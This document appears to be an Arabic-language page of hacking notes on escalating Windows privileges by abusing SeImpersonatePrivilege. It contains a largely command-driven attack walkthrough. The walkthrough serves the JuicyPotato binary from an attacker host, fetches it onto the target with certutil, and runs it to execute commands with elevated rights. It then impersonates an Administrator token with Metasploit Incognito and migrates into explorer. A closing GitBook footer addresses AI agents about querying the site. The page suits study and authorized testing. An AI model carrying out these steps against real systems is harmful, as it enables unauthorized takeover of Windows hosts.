> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/token-privileges/seimpersonateprivilege-windows-privilege-escalation.md).

# SeImpersonatePrivilege

`SeImpersonatePrivilege` يسمح لعمليةٍ بانتحال رمز مميز لمستخدمٍ آخر. على أهداف Windows المتوافقة، يمكن إساءة استخدام هذه الامتيازات للحصول على جلسة ذات صلاحيات عالية.

## الكشف

```powershell
whoami /priv
```

<figure><img src="/files/bfc51aedf457ecfcd5cbb6633cbdc79c1a942247" alt="SeImpersonatePrivilege shown in whoami /priv"><figcaption></figcaption></figure>

## اختر التقنية المناسبة

تحتاج إصدارات Windows المختلفة إلى أساليب مختلفة. تعامل مع هذا كفحص توافق، لا كاستغلال بأمر واحد.

| عائلة الأدوات                             | ينطبق عادةً على                                                | ملاحظات                                |
| ----------------------------------------- | -------------------------------------------------------------- | -------------------------------------- |
| JuicyPotato                               | إصدارات Windows Server الأقدم قبل تشديد DCOM الأحدث.           | يتطلب CLSID متوافقًا وسلوك COM محليًا. |
| مسارات على نمط RoguePotato / RemotePotato | البيئات التي يكون فيها ترحيل NTLM أو حيل المُحلِّل ضمن النطاق. | تحقّق من افتراضات الشبكة أولًا.        |
| PrintSpoofer                              | الأهداف الأقدم حيث يكون مسار Print Spooler مكشوفًا ومتوافقًا.  | مستوى التصحيح مهم جدًا.                |
| متغيرات GodPotato / SweetPotato           | أهداف المختبر ذات سلوك الأنابيب المسماة/RPC المتوافق.          | اختبر على بناء نظام التشغيل الدقيق.    |

## التحقق اليدوي باستخدام JuicyPotato

{% embed url="<https://github.com/ohpe/juicy-potato/releases/tag/v0.1>" %}

اعرض الملفات الثنائية من مضيف الهجوم:

```bash
python3 -m http.server 8080
```

نزّل الأداة المصرح بها على الهدف:

```cmd
certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe JP.exe
```

<figure><img src="/files/81ad22dda653c7eb837372e014e48670afb026f1" alt="JuicyPotato and netcat transferred to the target"><figcaption></figcaption></figure>

شغّل أولًا أمر تحقق غير ضار:

```cmd
JP.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Windows\Temp\impersonate-check.txt"
type C:\Windows\Temp\impersonate-check.txt
```

إذا نجح التحقق، فاستبدل الإجراء بالحِمل المفيد المحدد للمختبر أو التقييم.

## التحققات الشائعة

```cmd
whoami /priv
systeminfo
net start spooler
```

<figure><img src="/files/7bf525aa70db6c2d8959c02c60f3945e40aa392d" alt="Privileged shell obtained through JuicyPotato" width="563"><figcaption></figcaption></figure>

## متغير Incognito في Metasploit

```
load incognito
list_tokens -u
```

<figure><img src="/files/bf67b821c158748d4e16180e74e3142111c235d0" alt="Listing tokens with Incognito"><figcaption></figcaption></figure>

```
impersonate_token "ATTACKDEFENSE/Administrator"
```

<figure><img src="/files/2a6cf5ea2ff167342d5db143c6d811317d53801e" alt="Impersonating an administrator token"><figcaption></figcaption></figure>

انتقل إلى عملية مناسبة:

```
pgrep explorer
migrate 3512
getprivs
```

<figure><img src="/files/79811b1ddbaba80fe5326e27e3e8951686a82cd2" alt="Migrating into explorer process"><figcaption></figcaption></figure>

<figure><img src="/files/27a2d705214be001ab6ba7fa7403b3d15a36727b" alt="Privileges after token impersonation" width="563"><figcaption></figcaption></figure>

## النقاط الرئيسية

* تأكد من أن الامتياز موجود ومُمكَّن.
* يعتمد مسار الاستغلال بدرجة كبيرة على إصدار Windows والقيود المحلية.
* إذا كان المضيف حديثًا ومُرقَّعًا، فانتقل إلى مسارات الخدمات أو المهام المجدولة أو بيانات الاعتماد قبل إضاعة الوقت.
* عالج المشكلة بتقييد الخدمات التي تكشف مسارات الانتحال والحفاظ على تحديث المضيفين.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/token-privileges/seimpersonateprivilege-windows-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
